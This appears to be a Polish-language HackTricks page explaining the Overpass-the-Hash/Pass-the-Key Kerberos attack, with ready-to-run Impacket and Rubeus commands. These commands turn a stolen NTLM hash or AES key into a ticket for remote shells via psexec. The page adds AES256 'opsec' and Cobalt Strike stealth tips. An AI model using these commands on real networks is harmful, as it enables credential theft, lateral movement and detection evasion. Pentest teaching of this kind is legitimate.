Over Pass the Hash/Pass the Key
Reading time: 3 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Overpass The Hash/Pass The Key (PTK)
Atak Overpass The Hash/Pass The Key (PTK) jest zaprojektowany dla środowisk, w których tradycyjny protokół NTLM jest ograniczony, a uwierzytelnianie Kerberos ma pierwszeństwo. Atak ten wykorzystuje hash NTLM lub klucze AES użytkownika do pozyskania biletów Kerberos, co umożliwia nieautoryzowany dostęp do zasobów w sieci.
Aby przeprowadzić ten atak, pierwszym krokiem jest pozyskanie hasha NTLM lub hasła konta docelowego użytkownika. Po zabezpieczeniu tych informacji można uzyskać bilet przyznawania biletów (TGT) dla konta, co pozwala atakującemu uzyskać dostęp do usług lub maszyn, do których użytkownik ma uprawnienia.
Proces można rozpocząć za pomocą następujących poleceń:
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
W przypadku scenariuszy wymagających AES256, opcja -aesKey [AES key]
może być wykorzystana. Ponadto, uzyskany bilet może być używany z różnymi narzędziami, w tym smbexec.py lub wmiexec.py, co poszerza zakres ataku.
Napotykanie problemów takich jak PyAsn1Error lub KDC cannot find the name jest zazwyczaj rozwiązywane przez aktualizację biblioteki Impacket lub użycie nazwy hosta zamiast adresu IP, co zapewnia zgodność z Kerberos KDC.
Alternatywna sekwencja poleceń z użyciem Rubeus.exe demonstruje inny aspekt tej techniki:
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
Ta metoda odzwierciedla podejście Pass the Key, koncentrując się na przejęciu i wykorzystaniu biletu bezpośrednio do celów uwierzytelniania. Ważne jest, aby zauważyć, że inicjacja żądania TGT wyzwala zdarzenie 4768: A Kerberos authentication ticket (TGT) was requested
, co oznacza użycie RC4-HMAC domyślnie, chociaż nowoczesne systemy Windows preferują AES256.
Aby dostosować się do bezpieczeństwa operacyjnego i używać AES256, można zastosować następujące polecenie:
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
Stealthier version
warning
Każda sesja logowania może mieć tylko jeden aktywny TGT w danym czasie, więc bądź ostrożny.
- Utwórz nową sesję logowania za pomocą
make_token
z Cobalt Strike. - Następnie użyj Rubeus, aby wygenerować TGT dla nowej sesji logowania, nie wpływając na istniejącą.
References
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.